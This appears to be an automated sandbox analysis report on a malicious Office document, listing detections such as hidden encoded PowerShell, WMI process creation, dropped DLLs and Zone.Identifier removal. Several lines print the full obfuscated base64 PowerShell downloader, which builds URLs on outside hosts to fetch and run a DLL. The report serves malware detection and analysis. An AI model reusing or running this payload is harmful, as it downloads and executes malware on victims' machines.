PowerShell case anomaly found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0AdgBhAFIASQBhAGIATABlACAAIAA4AHkAZQAgACgAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIALQBGACcAcwBZAHMAdABFACcALAAnAHIAWQAnACwAJwBNAC4AJwAsACcARQBjAFQATwAnACwAJwBJAE8ALgBkAEkAUgAnACkAIAAgACkAIAAgADsAIAAgAFMAdgAgACgAIgBwACIAKwAiAGwAdAAiACkAIAAoACAAIABbAFQAeQBwAGUAXQAoACIAewA0AH0AewA2AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AewA3AH0AewAyAH0AIgAgAC0AZgAnAEUAJwAsACcAVgBJAGMAJwAsACcAbQBhAG4AYQBHAEUAcgAnACwAJwBwACcALAAnAHMAeQBzAHQAZQAnACwAJwBSACcALAAnAG0ALgBuAEUAVAAuAHMAZQAnACwAJwBvAGkATgB0ACcAKQAgACAAKQAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAJwArACgAJwBpACcAKwAnAGwAZQAnACkAKwAnAG4AdAAnACsAKAAnAGwAJwArACcAeQBDACcAKQArACgAJwBvACcAKwAnAG4AdABpAG4AdQAnACsAJwBlACcAKQApADsAJABaAHkAOQAzADIANAByAD0AJABYADcAMABIACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABIADYAOABTADsAJABUADYANgBGAD0AKAAnAEsANwAnACsAJwA0AFUAJwApADsAIAAoAGcARQBUAC0AdgBBAFIAaQBBAGIAbABFACAAOABZAEUAIAApAC4AdgBhAGwAVQBlADoAOgAiAGMAUgBgAGUAQQBgAFQAZQBEAEkAcgBFAGMAYABUAG8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0ASgB4AGsAJwArACcANABqAHIAXwB7ADAAJwArACcAfQBEACcAKwAoACcAaAB1AGwAJwArACcAagBnAHoAJwApACsAJwB7ADAAfQAnACkAIAAtAEYAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQAWAA2ADAATQA9ACgAJwBJADcAJwArACcAXwBCACcAKQA7ACAAIAAoACAAIABWAGEAUgBpAGEAYgBsAEUAIAAoACIAUAAiACsAIgBMAHQAIgApACAAIAApAC4AdgBBAGwAVQBFADoAOgAiAFMAZQBjAFUAcgBpAHQAWQBQAHIATwBUAGAAbwBjAGAATwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABGADAAXwBYAD0AKAAnAEUAMAAnACsAJwAyAFAAJwApADsAJABaAGEAYwAyAGcAdwBzACAAPQAgACgAKAAnAEQAJwArACcANwAxACcAKQArACcASgAnACkAOwAkAE0AMwBfAEEAPQAoACgAJwBVAF8AJwArACcANQAnACkAKwAnAE8AJwApADsAJABGAGEAZwBlADQAZwBqAD0AJABIAE8ATQBFACsAKAAoACgAJwBlAE0AcQAnACsAJwBKAHgAawA0AGoAJwArACcAcgAnACkAKwAoACcAXwBlAE0AJwArACcAcQBEAGgAJwApACsAKAAnAHUAbABqACcAKwAnAGcAJwApACsAJwB6ACcAKwAoACcAZQBNACcAKwAnAHEAJwApACkAIAAtAHIARQBwAEwAQQBjAGUAIAAgACgAJwBlACcAKwAnAE0AcQAnACkALABbAGMASABBAFIAXQA5ADIAKQArACQAWgBhAGMAMgBnAHcAcwArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAEwAOQA1AEcAPQAoACgAJwBSADYAJwArACcANwAnACkAKwAnAE4AJwApADsAJABFAGcAegA3AG0AbABhAD0AKAAoACcAXQAnACsAJwBlADEAcgAnACsAJwBbAFMAJwApACsAKAAnADoALwAnACsAJwAvAHMAJwApACsAKAAnAHcAaQAnACsAJwBmACcAKQArACgAJwB0AGwAbwAnACsAJwBnACcAKwAnAGkAcwB0AGkAJwApACsAJwBjACcAKwAnAHMAZQAnACsAKAAnAGcALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AJwApACsAKAAnAFYARQAnACsAJwA5AGgAMAAnACkAKwAnAGoAagAnACsAKAAnAC8AJwArACcAQABdACcAKQArACgAJwBlADEAJwArACcAcgBbAFMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBzAGEAaAAnACsAJwBsAGEALQBhACcAKwAnAGQALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACgAJwB0ACcAKwAnAC8AYQAvACcAKQArACcAQAAnACsAJwBdAGUAJwArACgAJwAxAHIAWwAnACsAJwBTADoAJwApACsAJwAvACcAKwAnAC8AbQAnACsAKAAnAHkAJwArACcAcABoACcAKQArACcAYQAnACsAJwBtACcAKwAoACcAagAnACsAJwBhAHAAJwApACsAKAAnAGEAJwArACcAbgAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAGQAd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0AdgBhAFIASQBhAGIATABlACAAIAA4AHkAZQAgACgAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIALQBGACcAcwBZAHMAdABFACcALAAnAHIAWQAnACwAJwBNAC4AJwAsACcARQBjAFQATwAnACwAJwBJAE8ALgBkAEkAUgAnACkAIAAgACkAIAAgADsAIAAgAFMAdgAgACgAIgBwACIAKwAiAGwAdAAiACkAIAAoACAAIABbAFQAeQBwAGUAXQAoACIAewA0AH0AewA2AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AewA3AH0AewAyAH0AIgAgAC0AZgAnAEUAJwAsACcAVgBJAGMAJwAsACcAbQBhAG4AYQBHAEUAcgAnACwAJwBwACcALAAnAHMAeQBzAHQAZQAnACwAJwBSACcALAAnAG0ALgBuAEUAVAAuAHMAZQAnACwAJwBvAGkATgB0ACcAKQAgACAAKQAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAJwArACgAJwBpACcAKwAnAGwAZQAnACkAKwAnAG4AdAAnACsAKAAnAGwAJwArACcAeQBDACcAKQArACgAJwBvACcAKwAnAG4AdABpAG4AdQAnACsAJwBlACcAKQApADsAJABaAHkAOQAzADIANAByAD0AJABYADcAMABIACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABIADYAOABTADsAJABUADYANgBGAD0AKAAnAEsANwAnACsAJwA0AFUAJwApADsAIAAoAGcARQBUAC0AdgBBAFIAaQBBAGIAbABFACAAOABZAEUAIAApAC4AdgBhAGwAVQBlADoAOgAiAGMAUgBgAGUAQQBgAFQAZQBEAEkAcgBFAGMAYABUAG8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0ASgB4AGsAJwArACcANABqAHIAXwB7ADAAJwArACcAfQBEACcAKwAoACcAaAB1AGwAJwArACcAagBnAHoAJwApACsAJwB7ADAAfQAnACkAIAAtAEYAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQAWAA2ADAATQA9ACgAJwBJADcAJwArACcAXwBCACcAKQA7ACAAIAAoACAAIABWAGEAUgBpAGEAYgBsAEUAIAAoACIAUAAiACsAIgBMAHQAIgApACAAIAApAC4AdgBBAGwAVQBFADoAOgAiAFMAZQBjAFUAcgBpAHQAWQBQAHIATwBUAGAAbwBjAGAATwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABGADAAXwBYAD0AKAAnAEUAMAAnACsAJwAyAFAAJwApADsAJABaAGEAYwAyAGcAdwBzACAAPQAgACgAKAAnAEQAJwArACcANwAxACcAKQArACcASgAnACkAOwAkAE0AMwBfAEEAPQAoACgAJwBVAF8AJwArACcANQAnACkAKwAnAE8AJwApADsAJABGAGEAZwBlADQAZwBqAD0AJABIAE8ATQBFACsAKAAoACgAJwBlAE0AcQAnACsAJwBKAHgAawA0AGoAJwArACcAcgAnACkAKwAoACcAXwBlAE0AJwArACcAcQBEAGgAJwApACsAKAAnAHUAbABqACcAKwAnAGcAJwApACsAJwB6ACcAKwAoACcAZQBNACcAKwAnAHEAJwApACkAIAAtAHIARQBwAEwAQQBjAGUAIAAgACgAJwBlACcAKwAnAE0AcQAnACkALABbAGMASABBAFIAXQA5ADIAKQArACQAWgBhAGMAMgBnAHcAcwArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAEwAOQA1AEcAPQAoACgAJwBSADYAJwArACcANwAnACkAKwAnAE4AJwApADsAJABFAGcAegA3AG0AbABhAD0AKAAoACcAXQAnACsAJwBlADEAcgAnACsAJwBbAFMAJwApACsAKAAnADoALwAnACsAJwAvAHMAJwApACsAKAAnAHcAaQAnACsAJwBmACcAKQArACgAJwB0AGwAbwAnACsAJwBnACcAKwAnAGkAcwB0AGkAJwApACsAJwBjACcAKwAnAHMAZQAnACsAKAAnAGcALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AJwApACsAKAAnAFYARQAnACsAJwA5AGgAMAAnACkAKwAnAGoAagAnACsAKAAnAC8AJwArACcAQABdACcAKQArACgAJwBlADEAJwArACcAcgBbAFMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBzAGEAaAAnACsAJwBsAGEALQBhACcAKwAnAGQALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACgAJwB0ACcAKwAnAC8AYQAvACcAKQArACcAQAAnACsAJwBdAGUAJwArACgAJwAxAHIAWwAnACsAJwBTADoAJwApACsAJwAvACcAKwAnAC8AbQAnACsAKAAnAHkAJwArACcAcABoACcAKQArACcAYQAnACsAJwBtACcAKwAoACcAagAnACsAJwBhAHAAJwApACsAKAAnAGEAJwArACcAbgAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAGQAd			Jump to behavior

Suspicious powershell command line found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0AdgBhAFIASQBhAGIATABlACAAIAA4AHkAZQAgACgAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIALQBGACcAcwBZAHMAdABFACcALAAnAHIAWQAnACwAJwBNAC4AJwAsACcARQBjAFQATwAnACwAJwBJAE8ALgBkAEkAUgAnACkAIAAgACkAIAAgADsAIAAgAFMAdgAgACgAIgBwACIAKwAiAGwAdAAiACkAIAAoACAAIABbAFQAeQBwAGUAXQAoACIAewA0AH0AewA2AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AewA3AH0AewAyAH0AIgAgAC0AZgAnAEUAJwAsACcAVgBJAGMAJwAsACcAbQBhAG4AYQBHAEUAcgAnACwAJwBwACcALAAnAHMAeQBzAHQAZQAnACwAJwBSACcALAAnAG0ALgBuAEUAVAAuAHMAZQAnACwAJwBvAGkATgB0ACcAKQAgACAAKQAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAJwArACgAJwBpACcAKwAnAGwAZQAnACkAKwAnAG4AdAAnACsAKAAnAGwAJwArACcAeQBDACcAKQArACgAJwBvACcAKwAnAG4AdABpAG4AdQAnACsAJwBlACcAKQApADsAJABaAHkAOQAzADIANAByAD0AJABYADcAMABIACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABIADYAOABTADsAJABUADYANgBGAD0AKAAnAEsANwAnACsAJwA0AFUAJwApADsAIAAoAGcARQBUAC0AdgBBAFIAaQBBAGIAbABFACAAOABZAEUAIAApAC4AdgBhAGwAVQBlADoAOgAiAGMAUgBgAGUAQQBgAFQAZQBEAEkAcgBFAGMAYABUAG8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0ASgB4AGsAJwArACcANABqAHIAXwB7ADAAJwArACcAfQBEACcAKwAoACcAaAB1AGwAJwArACcAagBnAHoAJwApACsAJwB7ADAAfQAnACkAIAAtAEYAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQAWAA2ADAATQA9ACgAJwBJADcAJwArACcAXwBCACcAKQA7ACAAIAAoACAAIABWAGEAUgBpAGEAYgBsAEUAIAAoACIAUAAiACsAIgBMAHQAIgApACAAIAApAC4AdgBBAGwAVQBFADoAOgAiAFMAZQBjAFUAcgBpAHQAWQBQAHIATwBUAGAAbwBjAGAATwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABGADAAXwBYAD0AKAAnAEUAMAAnACsAJwAyAFAAJwApADsAJABaAGEAYwAyAGcAdwBzACAAPQAgACgAKAAnAEQAJwArACcANwAxACcAKQArACcASgAnACkAOwAkAE0AMwBfAEEAPQAoACgAJwBVAF8AJwArACcANQAnACkAKwAnAE8AJwApADsAJABGAGEAZwBlADQAZwBqAD0AJABIAE8ATQBFACsAKAAoACgAJwBlAE0AcQAnACsAJwBKAHgAawA0AGoAJwArACcAcgAnACkAKwAoACcAXwBlAE0AJwArACcAcQBEAGgAJwApACsAKAAnAHUAbABqACcAKwAnAGcAJwApACsAJwB6ACcAKwAoACcAZQBNACcAKwAnAHEAJwApACkAIAAtAHIARQBwAEwAQQBjAGUAIAAgACgAJwBlACcAKwAnAE0AcQAnACkALABbAGMASABBAFIAXQA5ADIAKQArACQAWgBhAGMAMgBnAHcAcwArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAEwAOQA1AEcAPQAoACgAJwBSADYAJwArACcANwAnACkAKwAnAE4AJwApADsAJABFAGcAegA3AG0AbABhAD0AKAAoACcAXQAnACsAJwBlADEAcgAnACsAJwBbAFMAJwApACsAKAAnADoALwAnACsAJwAvAHMAJwApACsAKAAnAHcAaQAnACsAJwBmACcAKQArACgAJwB0AGwAbwAnACsAJwBnACcAKwAnAGkAcwB0AGkAJwApACsAJwBjACcAKwAnAHMAZQAnACsAKAAnAGcALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AJwApACsAKAAnAFYARQAnACsAJwA5AGgAMAAnACkAKwAnAGoAagAnACsAKAAnAC8AJwArACcAQABdACcAKQArACgAJwBlADEAJwArACcAcgBbAFMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBzAGEAaAAnACsAJwBsAGEALQBhACcAKwAnAGQALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACgAJwB0ACcAKwAnAC8AYQAvACcAKQArACcAQAAnACsAJwBdAGUAJwArACgAJwAxAHIAWwAnACsAJwBTADoAJwApACsAJwAvACcAKwAnAC8AbQAnACsAKAAnAHkAJwArACcAcABoACcAKQArACcAYQAnACsAJwBtACcAKwAoACcAagAnACsAJwBhAHAAJwApACsAKAAnAGEAJwArACcAbgAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAGQAd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0AdgBhAFIASQBhAGIATABlACAAIAA4AHkAZQAgACgAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIALQBGACcAcwBZAHMAdABFACcALAAnAHIAWQAnACwAJwBNAC4AJwAsACcARQBjAFQATwAnACwAJwBJAE8ALgBkAEkAUgAnACkAIAAgACkAIAAgADsAIAAgAFMAdgAgACgAIgBwACIAKwAiAGwAdAAiACkAIAAoACAAIABbAFQAeQBwAGUAXQAoACIAewA0AH0AewA2AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AewA3AH0AewAyAH0AIgAgAC0AZgAnAEUAJwAsACcAVgBJAGMAJwAsACcAbQBhAG4AYQBHAEUAcgAnACwAJwBwACcALAAnAHMAeQBzAHQAZQAnACwAJwBSACcALAAnAG0ALgBuAEUAVAAuAHMAZQAnACwAJwBvAGkATgB0ACcAKQAgACAAKQAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAJwArACgAJwBpACcAKwAnAGwAZQAnACkAKwAnAG4AdAAnACsAKAAnAGwAJwArACcAeQBDACcAKQArACgAJwBvACcAKwAnAG4AdABpAG4AdQAnACsAJwBlACcAKQApADsAJABaAHkAOQAzADIANAByAD0AJABYADcAMABIACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABIADYAOABTADsAJABUADYANgBGAD0AKAAnAEsANwAnACsAJwA0AFUAJwApADsAIAAoAGcARQBUAC0AdgBBAFIAaQBBAGIAbABFACAAOABZAEUAIAApAC4AdgBhAGwAVQBlADoAOgAiAGMAUgBgAGUAQQBgAFQAZQBEAEkAcgBFAGMAYABUAG8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0ASgB4AGsAJwArACcANABqAHIAXwB7ADAAJwArACcAfQBEACcAKwAoACcAaAB1AGwAJwArACcAagBnAHoAJwApACsAJwB7ADAAfQAnACkAIAAtAEYAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQAWAA2ADAATQA9ACgAJwBJADcAJwArACcAXwBCACcAKQA7ACAAIAAoACAAIABWAGEAUgBpAGEAYgBsAEUAIAAoACIAUAAiACsAIgBMAHQAIgApACAAIAApAC4AdgBBAGwAVQBFADoAOgAiAFMAZQBjAFUAcgBpAHQAWQBQAHIATwBUAGAAbwBjAGAATwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABGADAAXwBYAD0AKAAnAEUAMAAnACsAJwAyAFAAJwApADsAJABaAGEAYwAyAGcAdwBzACAAPQAgACgAKAAnAEQAJwArACcANwAxACcAKQArACcASgAnACkAOwAkAE0AMwBfAEEAPQAoACgAJwBVAF8AJwArACcANQAnACkAKwAnAE8AJwApADsAJABGAGEAZwBlADQAZwBqAD0AJABIAE8ATQBFACsAKAAoACgAJwBlAE0AcQAnACsAJwBKAHgAawA0AGoAJwArACcAcgAnACkAKwAoACcAXwBlAE0AJwArACcAcQBEAGgAJwApACsAKAAnAHUAbABqACcAKwAnAGcAJwApACsAJwB6ACcAKwAoACcAZQBNACcAKwAnAHEAJwApACkAIAAtAHIARQBwAEwAQQBjAGUAIAAgACgAJwBlACcAKwAnAE0AcQAnACkALABbAGMASABBAFIAXQA5ADIAKQArACQAWgBhAGMAMgBnAHcAcwArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAEwAOQA1AEcAPQAoACgAJwBSADYAJwArACcANwAnACkAKwAnAE4AJwApADsAJABFAGcAegA3AG0AbABhAD0AKAAoACcAXQAnACsAJwBlADEAcgAnACsAJwBbAFMAJwApACsAKAAnADoALwAnACsAJwAvAHMAJwApACsAKAAnAHcAaQAnACsAJwBmACcAKQArACgAJwB0AGwAbwAnACsAJwBnACcAKwAnAGkAcwB0AGkAJwApACsAJwBjACcAKwAnAHMAZQAnACsAKAAnAGcALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AJwApACsAKAAnAFYARQAnACsAJwA5AGgAMAAnACkAKwAnAGoAagAnACsAKAAnAC8AJwArACcAQABdACcAKQArACgAJwBlADEAJwArACcAcgBbAFMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBzAGEAaAAnACsAJwBsAGEALQBhACcAKwAnAGQALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACgAJwB0ACcAKwAnAC8AYQAvACcAKQArACcAQAAnACsAJwBdAGUAJwArACgAJwAxAHIAWwAnACsAJwBTADoAJwApACsAJwAvACcAKwAnAC8AbQAnACsAKAAnAHkAJwArACcAcABoACcAKQArACcAYQAnACsAJwBtACcAKwAoACcAagAnACsAJwBhAHAAJwApACsAKAAnAGEAJwArACcAbgAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAGQAd			Jump to behavior

Uses code obfuscation techniques (call, push, ret)

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100037FB push ecx; ret		7_2_1000380E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10004134 push ecx; ret		7_2_10004146
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_100037FB push ecx; ret		9_2_1000380E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_10004134 push ecx; ret		9_2_10004146

Persistence and Installation Behavior:

Creates processes via WMI

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Drops PE files

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll

Jump to dropped file

Drops PE files to the windows directory (C:\Windows)

Source: C:\Windows\SysWOW64\rundll32.exe

PE file moved: C:\Windows\SysWOW64\Moldomm\fjtiec.rgj

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Moldomm\fjtiec.rgj:Zone.Identifier read attributes | delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Hvqnocqonseaz\zdvhyvhbysxx.hcy:Zone.Identifier read attributes | delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Gayqjpva\ysvakhm.scw:Zone.Identifier read attributes | delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Xhfpu\newi.giu:Zone.Identifier read attributes | delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Yytiwgytsocbk\gpzklkwqavfq.ceg:Zone.Identifier read attributes | delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Imqrvegnw\xbxcngor.sdx:Zone.Identifier read attributes | delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Ssritkfxztntpmvd\impzxzazvxmnbpe.sxx:Zone.Identifier read attributes | delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Mtqaaznoxelwda\uiusvmdbvqkdi.arh:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Rpamxseaazc\tejhffkmgs.jfm:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Plxgoxjb\fxypucw.ewq:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Zybnxerarhwdt\tjsmjxqxfmoi.jrk:Zone.Identifier read attributes | delete

Disables application error messsages (SetErrorMode)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
